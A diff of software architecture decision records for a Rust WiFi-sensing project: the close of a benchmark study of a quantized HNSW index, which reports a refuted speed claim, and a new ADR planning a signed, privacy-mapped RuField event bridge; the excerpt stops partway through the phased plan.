+**The SymphonyQG-style quantized variant does NOT beat float HNSW at our scale — direction REFUTED at N=10k.** The 1-bit Hamming traversal is too coarse: its best achievable recall is **0.738** (ef=256, rr=100), and it never reaches even the 0.90 equal-recall point where a fair QPS comparison could be made. Where the quantized score *is* faster (ef=32: ~30–36k QPS, beating float's 25.7k), its recall collapses to 0.16–0.26 — a meaningless win. There is **no equal-recall operating point** at which quantized is faster, so the SymphonyQG 3.5–17× claim is **not reproduced** by our 1-bit construction here.
+
+**Why** (so the negative is understood, not just stated):
+1. The 1-bit sign code is a **coarse angle proxy** — ADR-156 §10 already measured it at ~46% strict-K coverage. Driving graph *traversal* by that coarse score steers the beam onto the wrong nodes, and the exact-float rerank can only recover what the beam actually visited. At N=10k, near-neighbours have nearly-identical sign codes, so Hamming cannot separate them.
+2. At this scale **float distance is already cheap**: one 128-d L2 is a handful of µs; the per-node float compute the quantization saves is small relative to the recall it costs. SymphonyQG's win shows up at **much larger N** (millions), where (a) the float-distance fraction of query time dominates and (b) their *multi-bit RaBitQ-fused* code (not our 1-bit sign code) keeps recall high. **Expected crossover: large N + a higher-bit code.** ADR-156 §10 already measured that a ≤4-bit code reaches ~74% strict coverage vs 1-bit's ~46%, so a multi-bit traversal score is the obvious next lever — deferred, not claimed.
+
+**Caveat (stated plainly):** this is **our** HNSW + **our** 1-bit quantization, not SymphonyQG's system. We tested the *direction* of the claim ("does quantized traversal + rerank beat float HNSW at equal recall?") on our hardware/data and got a **measured no at N=10k**. That neither confirms nor refutes SymphonyQG's own published numbers on their system/scale — it refutes the direction *for our construction at our scale*, and identifies the two levers (scale, code bit-depth) a real reproduction would need.
+
+---
+
+## 8. Validation
+
+- **`cd v2 && cargo test -p wifi-densepose-ruvector --no-default-features --lib`** — **156 passed / 0 failed, 1 ignored** (M1 added 20: 10 `hnsw`, 7 `hnsw_quantized`, 3 `ann_measure`; M2 added 5 multi-bit/scaling tests; `scaling_report` is the `#[ignore]` measurement that produced the §11 table).
+- **`cargo test --workspace --no-default-features`** — GREEN (see §10 for the count).
+- **Correctness gate verified to bite:** the recall@10 gate **panicked** on the first (buggy) insert path (§4); after the fix it passes at 0.99+ recall (L2 and cosine).
+- **`cargo test -p wifi-densepose-ruvector --no-default-features --release ann_bench_report -- --nocapture`** — prints the §6 table; the numbers above are copied verbatim from that run.
+- **`cargo bench -p wifi-densepose-ruvector --bench ann_bench`** — compiles and runs the same fixture through criterion.
+- **`python archive/v1/data/proof/verify.py`** — **VERDICT: PASS** (the Rust ANN work is independent of the Python signal-proof pipeline; hash unchanged).
+
+---
+
+## 9. Consequences
+
+**Positive.** ruvector now has a real, deterministic, pure-Rust HNSW graph index (25× over linear scan at high recall) usable by the AETHER re-ID / sketch-prefilter path — the ANN substrate ADR-156 §5 #1 wanted. The SymphonyQG claim is no longer CLAIMED-only: we built the missing baseline and **measured** the direction, with the bug-caught-by-the-gate disclosed.
+
+**Negative / honest.** The 1-bit quantized variant is **not** an equal-recall QPS win at our scale; it is shipped as a measured experiment with a clearly-stated ceiling, not as a recommended default. Anyone reaching for it must read §7.
+
+**Resolved by Milestone-2 (§11, MEASURED — no longer deferred).**
+- **Multi-bit traversal score** — implemented (`b ∈ {1,2,4}` bits/dim over the Pass-2 rotated coordinates) and measured. It *does* lift quantized recall (at N=10k, b=4 reaches the 0.90 equal-recall regime where 1-bit could not), but still does not beat float HNSW QPS.
+- **Large-N crossover measurement** — measured at N ∈ {10k, 100k, 250k}. **The predicted large-N crossover did NOT materialize — it moved the wrong way** (quant recall *collapses* as N grows). See §11.
+
+**Deferred (not silently dropped).**
+- **Wiring HNSW into the live re-ID path** (AETHER hot-cache / sketch prefilter) behind a flag.
+- **N ≥ 1M + SymphonyQG's exact RaBitQ-fused construction** — our impl refutes the *direction* at ≤250k; a true 1:1 reproduction at million-scale with their fused codes remains a separate, larger build.
+
+---
+
+## 10. What changed, file by file
+
+- `hnsw.rs` (new) — float HNSW: graph, seeded-deterministic level assignment, Algorithm-2 beam search, Algorithm-4 neighbour selection, L2/cosine, brute-force ground truth, full degenerate-case guards; 10 tests incl. the recall@10 correctness gate (L2 + cosine) and determinism. The insert-order bug fix (§4).
+- `hnsw_quantized.rs` (new) — SymphonyQG-style quantized-traversal index over the shared graph: 1-bit Pass-2 code per node, Hamming-scored greedy + beam, exact-float rerank; 7 tests incl. the rerank-recall gate and determinism.
+- `ann_measure.rs` (new) — shared deterministic fixture + recall/QPS measurement for linear / float-HNSW / quant-HNSW, the `ann_bench_report` test (the §6 source of truth), `ANN_BENCH_N` override.
+- `benches/ann_bench.rs` (new) + `Cargo.toml` `[[bench]]` — criterion bench over the same fixture/indices.
+- `lib.rs` — `pub mod hnsw / hnsw_quantized / ann_measure`; re-export `HnswIndex`, `HnswParams`, `Metric`, `QuantizedHnswIndex`.
+- `ADR-156-ruvector-fusion-beyond-sota.md` §5 #1 + §8 backlog — SymphonyQG regraded **CLAIMED → MEASURED-direction-tested (refuted at N=10k for our 1-bit construction)**, pointing here.
+- `CHANGELOG.md` — `[Unreleased]` entry.
+
+---
+
+## 11. Milestone-2 — multi-bit traversal + large-N scaling study (MEASURED)
+
+M1 (§7) refuted the SymphonyQG direction at N=10k with a 1-bit code, and *predicted* a crossover at "large N + a higher-bit code." M2 builds both levers and measures them — so the prediction is tested, not assumed.
+
+**Built:** `hnsw_quantized.rs` generalized from 1-bit to a **`b`-bit-per-dimension** code (`b ∈ {1,2,4}`, a mid-rise quantizer over the same `RANGE=3.0` rotated coordinates as ADR-156 §10's `measure_multibit`); `ann_measure.rs` gained `run_scaling_study` / `best_float_op` / `best_quant_op` + a deterministic `scaling_report` (`#[ignore]`, `--release`) and a CI-safe `scaling_study_small_is_consistent`. Memory: **16 / 32 / 64 bytes/node** for b = 1 / 2 / 4.
+
+**MEASURED** (dim=128, 64 clusters, 200 queries, K=10, L2, M=16, ef_construction=200, seeded, `--release`, this box; target recall ≥ 0.90):
+
+| N | bits | B/node | quant best recall | float @ target | quant @ target | quant/float |
+|--:|--:|--:|--:|--|--|--:|
+| 10,000 | 1 | 16 | 1.000 | 23,155 QPS @ r=0.995 | 4,482 QPS @ r=0.965 | **0.19×** |
+| 10,000 | 2 | 32 | 1.000 | 23,155 QPS @ r=0.995 | 10,658 QPS @ r=0.908 | **0.46×** |
+| 10,000 | 4 | 64 | 1.000 | 23,155 QPS @ r=0.995 | 11,217 QPS @ r=0.946 | **0.48×** |
+| 100,000 | 1 / 2 / 4 | 16/32/64 | 0.207 / 0.346 / 0.788 | 2,493 QPS @ r=0.938 | none (never ≥ 0.90) | — |
+| 250,000 | 1 / 2 / 4 | 16/32/64 | 0.108 / 0.210 / 0.624 | 1,593 QPS @ r=0.925 | none | — |
+
+**Verdict — NO crossover at any measured (N, b) up to 250k, and the trend REFUTES the large-N prediction:**
+1. **Multi-bit helps at small N but not enough.** At N=10k, more bits lift the equal-recall QPS ratio 0.19× → 0.46× → 0.48× (and let b≥2 actually *reach* the 0.90 bar that 1-bit missed) — but quant stays **below 1.0×**, i.e. slower than float HNSW at equal recall.
+2. **The predicted large-N crossover moved the wrong way.** As N grows 10k → 100k → 250k, quant's best achievable recall **collapses** (b=4: 1.000 → 0.788 → 0.624) and never reaches the 0.90 comparison point, while float HNSW holds ≥0.92. A denser graph packs near-neighbours whose low-bit codes are nearly identical, so the approximate score steers the beam off-path faster than the bigger float-distance savings can repay. The "crossover at millions" intuition is **not supported by our construction's trend** — if anything it diverges.
+3. **Caveat unchanged:** this is our HNSW + our per-node multi-bit code, not SymphonyQG's RaBitQ-fused graph. The result refutes the *direction* for our construction at ≤250k; it does not disprove their published numbers on their system at their scale. A real 1:1 reproduction is the deferred million-scale build.
+
+This is a **published negative with the mechanism explained** — the multi-bit + scaling levers were built and measured rather than asserted, and the honest outcome (no crossover, trend diverging) is recorded, not hidden.

docs/adr/ADR-262-rufield-ruview-integration.md

@@ -0,0 +1,207 @@
+# ADR-262: RuField MFS ↔ RuView integration — a live SensingServerAdapter, a privacy/provenance bridge, MAPPED not papered-over
+
+| Field | Value |
+|-------|-------|
+| **Status** | Proposed — **P1 + P3 implemented** (live `/api/field` + `/ws/field`; P3 signs with a **dedicated dev/sensing key**, deferring the §8 Q1 `cog-ha-matter` key-ownership decision to P2) |
+| **Date** | 2026-06-14 |
+| **Deciders** | ruv |
+| **Codebase target** | New thin bridge crate `wifi-densepose-rufield` (v2 workspace member); taps `wifi-densepose-sensing-server` emit path + `wifi-densepose-engine` `TrustedOutput`; depends on `vendor/rufield/crates/rufield-*` via path (the `vendor/rvcsi` pattern) |
+| **Relates to** | ADR-260 (RuField MFS spec + v0.1 reference stack), ADR-261 (RuVector graph-ANN), ADR-141 (BFLD privacy control-plane / modes / attestation), ADR-137 (fusion-engine quality scoring / contradiction), ADR-032 (multistatic mesh security hardening / witness), ADR-116 (cog tamper-evident audit log — `cog-ha-matter` SHA-256+Ed25519), ADR-095/096 (`rvcsi` vendored-submodule precedent) |
+| **Scope** | Decide **how** RuView's live WiFi-CSI sensing-server emits RuField `FieldEvent`s, **whether** RuView's ruvsense fusion composes with or is wrapped by rufield-fusion, and **how** to reconcile RuView's existing privacy/witness/provenance machinery with RuField's P0–P5 + ed25519 `ProvenanceReceipt`. The privacy/provenance reconciliation is the crux. |
+
+---
+
+## 0. PROOF discipline (this ADR's contract)
+
+This project has been publicly accused of "AI slop." This ADR answers with **evidence, not adjectives** — every "RuView already does X" carries a `file:line`, and every external/SOTA claim is graded.
+
+- **No accuracy is claimed.** RuField v0.1 is **SYNTHETIC** end-to-end by its own admission (ADR-260 "Honest statement", line 386–390: *"Every metric here is simulator-based. No ESP32 CSI, mmWave, or thermal capture was used."*). RuView's only real-CSI rufield path today would be **replay of recorded `.csi.jsonl`, unlabeled** — `rufield-adapters::CsiReplayAdapter`'s own module doc (`vendor/rufield/crates/rufield-adapters/src/csi_replay.rs:19-31`) states it is *"real signal, replay from file not live hardware, unlabeled ⇒ proxy not validated accuracy."* This ADR therefore proposes **plumbing**, and grades its own claims as "ARCHITECTURE" (a design decision, testable by a round-trip/compile gate) vs "ACCURACY" (which it explicitly does not assert).
+- The privacy/provenance section reports an **honest conflict**: RuView has **three** witness mechanisms across two hash algorithms, and **two** privacy enums, none of which map 1:1 onto RuField's P0–P5. We map them and recommend the cleanest reconciliation rather than asserting they already align.
+- Each phase below ships an **independently testable gate** (a round-trip test, a privacy-monotonicity test, a signature-verify test) so the integration is provable, not aspirational.
+
+---
+
+## 0.1 Implementation status
+
+**P1 (§4) is implemented** as the `wifi-densepose-rufield` bridge crate (`v2/crates/wifi-densepose-rufield/`, a new v2 workspace member; path-deps the `vendor/rufield` submodule per §5.4):
+
+- **Input** — `SensingSnapshot` (owned primitives mirroring `SensingUpdate` features/classification/signal_field joined with the `TrustedOutput` `trust_class`/`demoted`/`identity_bound`); the bridge does **not** depend on `wifi-densepose-sensing-server` (anti-corruption layer).
+- **Conversion** — `snapshot_to_field_event(&snap, &Signer)` emits a signed `FieldEvent` (`Modality::WifiCsi`, axis `[Frequency]`, real `timestamp_ns`); position derived from the signal-field peak when present (never fabricated); real sha256 `ProvenanceRef` + ed25519 signature, `synthetic = false`.
+- **Privacy (§3.3 crux)** — `map_privacy()` maps by information content, **fail-closed**: `Raw → P0`, `Derived → P4` (or `P5` if identity-bound — **never P1**), `Anonymous → P2`, `Restricted → P2`; a `demoted` cycle floors egress to ≥ P2.
+- **Gates that pass** (`tests/p1_gates.rs`, 15 tests / 0 failed = 5 unit + 9 integration + 1 doc): round-trip (snapshot → `FieldEvent` → serde → equal); `is_fusable` (verified ed25519 receipt); `RuFieldFusion::ingest` accept + `infer()` runs; **privacy-safety** (`gate_privacy_safety_derived_never_maps_to_low_privacy` — `Derived → P4/P5`, never P1; full §3.3 table; fail-closed demotion); determinism (same snapshot + same signer seed → byte-identical event).
+
+**P3 (§4) is implemented** as the live RuField surface in `wifi-densepose-sensing-server` (the bridge is now wired into the running server):
+
+- **Tap** — at the ESP32 governed-trust cycle (`main.rs` `observe_cycle` ~`:5886` / `SensingUpdate` build ~`:5938`), a new `emit_rufield_event` joins the cycle's `SensingUpdate` (features / classification / signal_field) with the engine's recorded `effective_class` / `demoted` trust state into a `wifi_densepose_rufield::SensingSnapshot`, then `snapshot_to_field_event(&snap, &signer)`. Existing endpoints (`/ws/sensing` etc.) are **unchanged** — purely additive.
+- **Surface** — `GET /api/field` (latest signed `FieldEvent`s + signer pubkey + a `dev_signing_key` flag) and `GET /ws/field` (broadcast stream, mirroring `/ws/sensing`), both mounted on the HTTP port and `/ws/field` also on the WS port. A small bounded ring buffer (`FIELD_RING_CAPACITY = 64`) holds recent **network-surfaced** events. New handler code lives in `src/rufield_surface.rs`, not in the 8k-line `main.rs`.
+- **Signer (defers the P2 key decision)** — a **dedicated standalone `Signer`** held in server state, seeded from `WDP_RUFIELD_SIGNING_SEED` (64-hex or ≥32-byte value), else a deterministic dev default with a logged `WARN`. Reusing the `cog-ha-matter` Ed25519 key (§8 Q1) is the **deferred P2** decision — P3 uses a standalone sensing key so it does not pre-empt that call.
+- **Egress privacy (fail-closed)** — `network_egress_allowed` is *stricter* than `DefaultPrivacyGuard` for an unattended live surface: only **P1/P2** leave the box; P0 (raw) and P3/P4/P5 (identity/biometric/aggregate above the default P2 ceiling) are held edge-local. A `Derived` cycle maps to P4/P5 and is therefore **never** surfaced. No-presence cycles emit nothing (no phantom events).
+- **Gates that pass** (`tests/rufield_surface_test.rs`, 4 integration via `tower::oneshot` + 4 module unit, 0 failed): a well-formed **signed** event (`Modality::WifiCsi`, P2 not P1, `is_fusable` ed25519-verified, real timestamp); **empty cycle → no phantom**; **privacy-safety** — an injected `Derived` trust never surfaces on `/api/field`; a mixed stream surfaces only egress-safe events.
+
+**Deferred:** the §3.3 *provenance carrier* recommendation (reuse the `cog-ha-matter` SHA-256+Ed25519 chain + embed the BLAKE3 engine witness) is **not** in P1/P3 — both take a dedicated `Signer` (the §8 open question 1 key-ownership decision is unresolved; P3 uses a standalone dev/sensing key precisely so it does not pre-empt P2). P2's `cog-ha-matter` key reuse + BLAKE3-embed, and P4 (multi-modality), remain future work. **No accuracy is claimed** (§0 / §6) — P1/P3 are tested plumbing on a live endpoint + a safe privacy mapping; the live surface is single-link CSI with its existing caveats (no validated room-coordinate accuracy — `field_localize`).
+
+---
+
+## 1. Context — two architectures, mapped
+
+### 1.1 RuField MFS (ADR-260, `vendor/rufield/`)
+
+A standalone pure-Rust Cargo workspace (serde, serde_json, toml, sha2, ed25519-dalek; **no tch/ndarray/candle**), vendored here as a git submodule (`git submodule status vendor/rufield` → `ba66e2e…`), **not** a v2 workspace member — exactly the `vendor/rvcsi` precedent (ADR-095/096). **Not published to crates.io**: every internal dep is a path dep with a nominal `version = "0.1.0"` (`vendor/rufield/Cargo.toml:31-37`); the `docs.rs/rufield-*` URLs are aspirational.
+
+The data model (graded ARCHITECTURE, evidence read directly):
+
+- **`FieldEvent`** (`vendor/rufield/crates/rufield-core/src/event.rs:96-112`): `spec_version, event_id, timestamp_ns: u64, sensor: SensorDescriptor, tensor: FieldTensor, observation: Observation, provenance: ProvenanceRef`.
+- **`Observation`** (`event.rs:25-51`): `zone_id, space_cell, range_m, velocity_mps, motion_vector, confidence: f32, features: BTreeMap<String,f32>` (the derived P1 scalars the fusion engine actually reads), `labels: Vec<String>` (ground-truth, **never read by fusion**), `privacy_class: PrivacyClass`.
+- **`PrivacyClass`** (`rufield-core/src/privacy.rs:8-25`): `P0..P5`, `#[serde(rename_all="UPPERCASE")]`, `Ord` by declaration order so **P0 < P1 < … < P5** — higher = more private; `level()->u8` returns 0..=5 (`privacy.rs:27-40`).
+- **`ProvenanceRef`** (on-wire, `event.rs:73-93`): `raw_hash, firmware_hash` (`sha256:…`), `model_id, calibration_id, synthetic: bool`, optional `signature_hex` / `signer_pubkey_hex` (detached ed25519).
+- The four traits (`rufield-core/src/traits.rs`): **`FieldAdapter`** (`:26-38`, `next_event() -> Result<Option<FieldEvent>>`), **`FieldEncoder`** (`:41-51`, **unimplemented in v0.1** — an open seam), **`FusionEngine`** (`:54-63`, `ingest(event)` + `infer(&query)`), **`PrivacyGuard`** (`:86-97`, `authorize(class, Destination, consent, identity_bound) -> PrivacyDecision{Allow|Deny|RequiresConsent}`).
+- **`CsiReplayAdapter`** (`rufield-adapters/src/csi_replay.rs`): constructed from **already-loaded text** (`from_jsonl(&str)` `:249-251`; `from_jsonl_with(text, device_id, &[u8;32])` `:254-323`) — **not** a path/`Read`/`Iterator`. Deserializes `CsiFrameRecord { timestamp: f64 (seconds), subcarriers: Vec<f64> }` (`:74-80`), buffers all frames into a `Vec<CsiFrame>`, then streams via a cursor (`next_event` `:550-557`). Maps each frame → `FieldEvent` with `Modality::WifiCsi`, axes `[Frequency]`, a Welford motion proxy, observation `privacy_class = P2 if presence else P1` (`:439-443`), real `sha256` raw-hash, and a **real ed25519 signature** (`signer.sign_event` `:507-510`). `max_privacy_class = P2`.
+- **`RuFieldFusion`** (`rufield-fusion/src/engine.rs:55-78`): `ingest()` **rejects non-fusable events on its first line** — `if !is_fusable(&event) { return Err(NotFusable) }` (`:212-215`) — then reads `event.observation.features` into a bounded temporal window; `infer()` applies TOML rules (`WeightedBayes` noisy-OR / `TemporalWindow`) → `Vec<FieldInference>`. TOML rule struct: `inputs, method, feature, threshold, privacy_max, window_ms, requires_consent` (`rules.rs:17-35`).
+- **`is_fusable`** (`rufield-provenance/src/lib.rs:179-184`): `synthetic == true` **OR** `verify_event().is_ok()` — the §11 invariant. Signing key is `ed25519_dalek 2.1`, deterministic from a 32-byte seed; raw hash is `sha256_hex` → `"sha256:<hex>"` (`:26-35`).
+- **`DefaultPrivacyGuard`** (`rufield-privacy/src/lib.rs:38-110`): default `network_max = P2`, `allow_p0_network = false`. P5-no-identity → `Deny`; P4-no-consent → `RequiresConsent`; `EdgeLocal` → `Allow`; `Network` denies P0 and `class > network_max`.
+- **`rufield-viewer`** (Axum 0.7): **self-contained, consumes `SyntheticSim` only** — all routes are read-only GET/SSE (`GET /api/run`, `GET /events`); **there is no ingest endpoint** (`vendor/rufield/crates/rufield-viewer/src/server.rs:63-72`). Feeding it a live stream requires adding a route.
+
+### 1.2 RuView (the integration target)
+
+- **Sensing-server is Axum** (`v2/crates/wifi-densepose-sensing-server/src/main.rs:7498-7629`), two listeners (WS `:8765`, HTTP). CSI does **not** arrive over WS/HTTP — it arrives over **UDP** from ESP32 nodes (`use tokio::net::UdpSocket`, `main.rs:53`; `recv_from` loop `main.rs:5286-5299`), parsed by magic `0xC511_0001` → **`Esp32Frame`** (`types.rs:84-100`: `node_id, n_subcarriers, ppdu_type, amplitudes: Vec<f64>, phases: Vec<f64>`, rssi/freq/sequence) → pushed into per-node `NodeState.frame_history: VecDeque<Vec<f64>>` (`main.rs:441-497`).
+- **`/ws/sensing` emits a `SensingUpdate`** (`main.rs:267-317`), broadcast over a `tokio::sync::broadcast` channel (`s.tx.send(json)` `main.rs:5938-5991`; the WS handler just subscribes and forwards, `main.rs:3021-3073`). `SensingUpdate` carries `nodes`, `features`, `classification {motion_level, presence, confidence}`, `signal_field`, `persons: Vec<PersonDetection>` (17 COCO keypoints + `position:[f64;3]` from `field_localize`, `main.rs:403-428`), pose, vitals. **`field_localize` (PR #1050) is a module, not a route** (`mod field_localize` `main.rs:17`; honesty caveat `field_localize.rs:16-27` — a single ESP32 link cannot resolve true room position, `position` is "strongest field peak").
+- **ruvsense fusion is strictly WITHIN-WiFi-modality.** `MultistaticFuser::fuse(&[MultiBandCsiFrame]) -> FusedSensingFrame` (`v2/crates/wifi-densepose-signal/src/ruvsense/multistatic.rs:285-288`) attention-weights **multiple WiFi CSI nodes/viewpoints** (every input is ESP32 CSI; `multistatic_bridge.rs:50-62` builds the frames from `NodeState` amplitude with `HardwareType::Esp32S3`). `coherence_gate.rs:18-37` is the `GateDecision{Accept|PredictOnly|Reject|Recalibrate}`; `pose_tracker.rs:255-263` is the 17-keypoint Kalman tracker with 128-dim AETHER re-ID; `field_model.rs:301-308` does SVD room-eigenstructure perturbation extraction. **No camera/mmWave/audio enters this path** — ruvsense is a multi-link WiFi-CSI fuser.
+- **The governed-trust cycle** runs in the separate **`wifi-densepose-engine`** crate. `StreamingEngine::process_cycle` (`v2/crates/wifi-densepose-engine/src/lib.rs:409`, `run_cycle` `:434-533`) produces **`TrustedOutput`** (`:82-112`): `semantic_id, quality: QualityScore, effective_class: PrivacyClass, demoted: bool, provenance: SemanticProvenance, witness: [u8;32]` (BLAKE3 over `evidence‖model‖calibration‖privacy_decision‖class`, `witness_of` `:598-613`), `recalibration_recommended`. **Crucially, none of this trust metadata is on the `SensingUpdate` wire today** — it is exposed only out-of-band on `GET /api/v1/status` (`main.rs:4173-4178`) and as a single live effect: `EngineBridge::suppress_raw_outputs()` strips per-node amplitude when `effective_class >= Restricted` (`engine_bridge.rs:240-243`, applied `main.rs:5908-5932`). The honest scope is stated in `engine_bridge.rs:14-27`: the governed engine runs *alongside* the bare fusion path; derived outputs are "published ungoverned."
+
+---
+
+## 2. Decision
+
+1. **Build a thin RuView-side bridge crate `wifi-densepose-rufield`** (a new v2 workspace member) that depends on `vendor/rufield/crates/rufield-core` (+ `rufield-provenance`, `rufield-privacy`, `rufield-fusion`) **via path** — mirroring the `vendor/rvcsi` pattern. RuView does **not** depend on published rufield crates (there are none) and does **not** vendor rufield into the v2 workspace; rufield stays a standalone submodule and the bridge is the only coupling point (an anti-corruption layer).
+2. **Emit `FieldEvent`s from the live server via an in-process `SensingServerAdapter`**, not by re-using the file-based `CsiReplayAdapter` on the hot path. The bridge taps the existing `SensingUpdate` build site and the `EngineBridge` trust state, joins them, and emits one signed `FieldEvent` per cycle on a new `tokio::broadcast` topic / optional `/ws/field` endpoint. `CsiReplayAdapter` is retained for the **offline/replay** path (recorded `.csi.jsonl` → events) because it already reads RuView's recording format (`recording.rs` writes `{session}.csi.jsonl`).
+3. **Compose the two fusion engines vertically, do not merge them.** ruvsense stays the **WiFi-modality node** (multi-link fusion → one fused WiFi belief); rufield-fusion sits **above** it as the **cross-modality** graph. ruvsense's `FusedSensingFrame`/`TrustedOutput` becomes one `FieldEvent` (modality `wifi_csi`); rufield fuses it against future mmWave/thermal/`rvcsi` events. They do not conflict because ruvsense has no cross-modality fusion to collide with (§1.2 evidence).
+4. **Reconcile privacy/provenance with ONE canonical model + a documented mapping** (§3, the crux): RuView's `effective_class` is the **source of truth**, mapped onto RuField `PrivacyClass` at the bridge; RuView's existing **`cog-ha-matter` SHA-256+Ed25519 witness chain** (already RuField's exact crypto) is adopted as the carrier for RuField `ProvenanceReceipt`, with the live BLAKE3 engine witness embedded as a hashed field. We do **not** maintain two parallel signed-receipt systems.
+
+---
+
+## 3. Privacy & provenance reconciliation (the crux)
+
+This is the most important section. RuView and RuField genuinely **overlap and partially conflict**. We map both honestly.
+
+### 3.1 What RuView actually has (implemented, with evidence)
+
+- **TWO privacy enums, not one ladder.** `PrivacyClass` — **4 variants** `Raw=0, Derived=1, Anonymous=2, Restricted=3` (`v2/crates/wifi-densepose-bfld/src/lib.rs:103-116`, `#[repr(u8)]`, higher byte = more private, **non-monotonic in information** — `Derived=1` carries *more* identity than `Anonymous=2`). And `PrivacyMode` — **5 variants** `RawResearch, PrivateHome, EnterpriseAnonymous, CareWithConsent, StrictNoIdentity` (`bfld/src/privacy_mode.rs:18-31`), each mapping to a `PrivacyClass` via `target_class()` (`:63-70`; two modes collapse to `Anonymous`).
+- **THREE witness mechanisms across TWO hash algorithms:**
+  - BFLD `PrivacyAttestationProof` — **BLAKE3, unsigned**, attests mode/class continuity only; **built but NOT on the live path** (ADR-141 status line ~597; `bfld/src/privacy_mode.rs:121-148`).
+  - Engine-cycle `TrustedOutput.witness: [u8;32]` — **BLAKE3, unsigned**, over the full trust decision; **LIVE every cycle** (`wifi-densepose-engine/src/lib.rs:598-613`).
+  - `cog-ha-matter::WitnessChain` — **SHA-256 hash chain + Ed25519 signatures** (`v2/crates/cog-ha-matter/src/witness.rs:138-151`; `witness_signing.rs:39-76`), JSONL-persisted, `verify()` + `verify_signature()`. Implemented for ADR-116 (cog/Matter audit log); **standalone, not wired to BFLD/engine**. Its `WitnessHash` newtype doc explicitly anticipates a hash-algo migration (`witness.rs:37-41`).
+- **No numeric trust score.** "Trust" in code = `base_coherence: f32∈[0,1]` + `penalized_coherence()` (`signal/.../fusion_quality.rs:99,122-126`) + a **boolean** `forces_privacy_demotion()` (`:116`). Demotion is monotonic and irreversible (`demote_one` clamps at Restricted, `engine/src/lib.rs:617-619`).
+- **Structured provenance exists, but no signed "receipt" on the sensing path.** `SemanticProvenance { evidence, model_version, calibration_version, privacy_decision }` (`v2/crates/wifi-densepose-worldgraph/src/model.rs:137-147`) is attached to every belief and is the *input* to the BLAKE3 witness — but it is unsigned and not called a receipt.
+
+### 3.2 Side-by-side, graded
+
+| Dimension | RuView (file:line) | RuField | Alignment |
+|---|---|---|---|
+| Privacy ladder | `PrivacyClass` 4 (`bfld/lib.rs:103`) **or** `PrivacyMode` 5 (`bfld/privacy_mode.rs:18`) | `PrivacyClass` 6 (P0–P5, `rufield-core/privacy.rs:8`) | **PARTIAL→CONFLICT** — no clean 1:1; counts differ (4/5 vs 6); RuView class ordering non-monotonic |
+| Demotion direction | higher = more private, irreversible (`engine/lib.rs:617`) | higher P# = more private, `Ord` by decl order (`privacy.rs:8-25`) | **STRONG** (same direction) |
+| Provenance receipt | `SemanticProvenance` unsigned (`worldgraph/model.rs:137`) | `ProvenanceRef` + ed25519 (`event.rs:73`) | **PARTIAL** — structured but unsigned |
+| Witness crypto (live path) | BLAKE3 `[u8;32]`, unsigned (`engine/lib.rs:598`) | sha256 + ed25519 (`rufield-provenance/lib.rs:26,135`) | **CONFLICT** (algo + signing) |
+| Witness crypto (cog-ha-matter) | **SHA-256 + Ed25519** (`cog-ha-matter/witness.rs`, `witness_signing.rs`) | **sha256 + ed25519** | **STRONG** — RuField's exact crypto, already in-repo, but unwired and in another bounded context |
+| Trust / confidence | `penalized_coherence: f32` + boolean demote (`fusion_quality.rs:122`) | `confidence: f32` per observation | **WEAK** — RuView has no graded trust object; confidence maps, demotion is binary |
+
+### 3.3 The recommendation (the key call)
+
+**Adopt ONE canonical model with a documented, lossy-but-monotonic mapping — do not run two parallel schemes.** Concretely:
+
+1. **Privacy: RuView `effective_class` is the source of truth; the bridge maps it onto RuField `PrivacyClass`** at the egress boundary. The honest mapping (graded ARCHITECTURE — it is a *policy* decision, and it is **monotonicity-testable**, not an accuracy claim):
+
+   | RuView `PrivacyClass` | → RuField | Rationale |
+   |---|---|---|
+   | `Raw` (raw CSI amplitude) | `P0` | raw waveform |
+   | `Derived` (identity embedding, LAN-only) | `P4` *(or P5 if identity-bound)* | derived **identity** features ⇒ biometric/identity tier, **not** P1 — RuView's non-monotonic `Derived=1` is the trap; map by *information content*, not byte value |
+   | `Anonymous` (occupancy/aggregate) | `P2`/`P3` | occupancy → P2, room-count aggregate → P3 |
+   | `Restricted` (zeroized) | `P2`-capped, raw suppressed | matches `suppress_raw_outputs` (`engine_bridge.rs:240`) |
+
+   The bridge **must** map `Derived → P4/P5`, never P1, because RuView's `Derived` carries `identity_embedding` (§3.1) — this is the single most dangerous mapping mistake and gets a dedicated test (P2 in §4). `PrivacyMode` (5) is the better *operator-facing* join to RuField's 6 levels but the **class** is what gates egress, so the class mapping is canonical.
+
+2. **Provenance: adopt `cog-ha-matter`'s SHA-256+Ed25519 chain as the carrier for RuField `ProvenanceReceipt`** — it is already RuField's exact crypto (graded STRONG above), already implemented, already tamper-evident. The bridge constructs the RuField `ProvenanceRef` by: `raw_hash = sha256(csi bytes)`, `model_id`/`calibration_id` from `SemanticProvenance`, and **embeds the live BLAKE3 engine witness `[u8;32]` as a hashed provenance field** (it is already computed every cycle — do not throw it away), then **signs with ed25519** so `is_fusable` passes for live (non-synthetic) events. We do **not** add a second BLAKE3-vs-ed25519 argument: BLAKE3 stays RuView's internal fast cycle-fingerprint; ed25519 is the *external* attestation RuField requires. One signer, one chain.
+
+3. **Trust: map `penalized_coherence` → `Observation.confidence`; keep demotion binary.** RuView has no graded trust object to reconcile; the coherence scalar is the honest analog and the demotion boolean already drives `effective_class`.
+
+This is a **bridge-with-canonical-source**, not "keep both forever." RuView owns the privacy decision (it has the live governed cycle); RuField owns the *external wire shape* (P0–P5 + signed receipt). The bridge is the one-directional translation, and it is the only place the two schemes meet.
+
+---
+
+## 4. Phased plan (each phase independently shippable + testable)
+
+**P1 — `SensingServerAdapter` emitting `FieldEvent`s (ARCHITECTURE).**
+New crate `wifi-densepose-rufield` with a `SensingServerAdapter` that consumes a `(SensingUpdate, TrustedOutput)` pair (tapped at `main.rs:5886`/`:5938`) and emits a signed `FieldEvent` (`Modality::WifiCsi`, axes `[Frequency]`, observation features from `SensingUpdate.features`, `confidence` from `penalized_coherence`). Offline path: keep `CsiReplayAdapter` for recorded `.csi.jsonl`. **Gate:** a round-trip test — emit a `FieldEvent` from a fixture `SensingUpdate`, assert it serializes, `is_fusable` passes (ed25519-signed), and `RuFieldFusion::ingest` accepts it. No server changes required beyond exposing the tap; the adapter is a library.
+
+**P2 — privacy/provenance bridge (the crux, ARCHITECTURE).**
